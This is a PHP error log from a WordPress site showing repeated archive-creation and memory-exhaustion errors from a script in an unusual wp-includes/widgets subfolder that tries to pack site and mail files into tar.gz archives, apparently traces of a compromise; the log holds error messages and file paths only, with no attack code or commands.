[04-Nov-2025 18:36:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:36:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 19:02:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 19:02:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 19:02:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 19:02:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:14:46 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 720615808 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:32:06 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1799802712 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:32:47 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1802948040 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:32:55 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1682086824 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:47:17 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1840493832 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:48:45 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1285111840 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:49:18 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1884458840 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:49:52 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1805645856 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:50:32 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1668486176 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:50:49 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 462319616 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:51:22 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1746348528 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:52:54 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 451493888 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:53:13 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1834740768 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 20:54:06 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 552878080 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 21:08:27 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 456540160 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 21:46:53 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 424886272 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 23:09:53 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1889450848 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 00:05:10 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 432967680 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 00:26:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/blocks.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 00:30:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/widgets.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 00:30:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 00:30:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/images.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 00:32:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ID3.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 00:32:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Text.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 00:37:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/assets.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 02:40:22 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1756178613.M646458P2785338.premium320.web-hosting.com,S=6924,W=7055.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 02:43:58 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1501142048 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 02:44:28 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 800432024 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 02:53:21 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1755695102.M577436P1150960.premium320.web-hosting.com,S=8931,W=9062:2,S.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 02:57:55 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1753937858.M206981P2963463.premium320.web-hosting.com,S=21847,W=22533.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 03:49:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 03:55:25 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1753285768.M570338P3728044.premium320.web-hosting.com,S=42887,W=43680:2,.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 04:19:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fonts.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 04:24:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.spam.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 04:31:03 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1754193751.M70999P3530204.premium320.web-hosting.com,S=24805,W=25584:2,S.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 04:35:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 05:46:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot-uidlist.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:02:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:05:42 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1754546914.M450373P370730.premium320.web-hosting.com,S=24708,W=25485:2,.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:07:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:07:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot-uidvalidity.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:08:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:36:07 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1761974799.M638113P3386061.premium320.web-hosting.com,S=1872,W=1922.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:41:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/pomo.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:41:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 06:43:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot-uidlist.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 07:30:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 07:43:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/subscriptions.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 07:45:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 07:49:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot-uidvalidity.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 07:52:15 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1753372578.M199771P3945570.premium320.web-hosting.com,S=36942,W=37639:2,S.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 08:03:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 08:05:44 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1755532090.M835047P1465453.premium320.web-hosting.com,S=36959,W=37657.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 08:10:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot-uidlist.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 08:22:09 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1752858577.M317139P3034968.premium320.web-hosting.com,S=91605,W=93109:2,.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 08:22:12 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1754754838.M559879P2295094.premium320.web-hosting.com,S=35820,W=36470.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
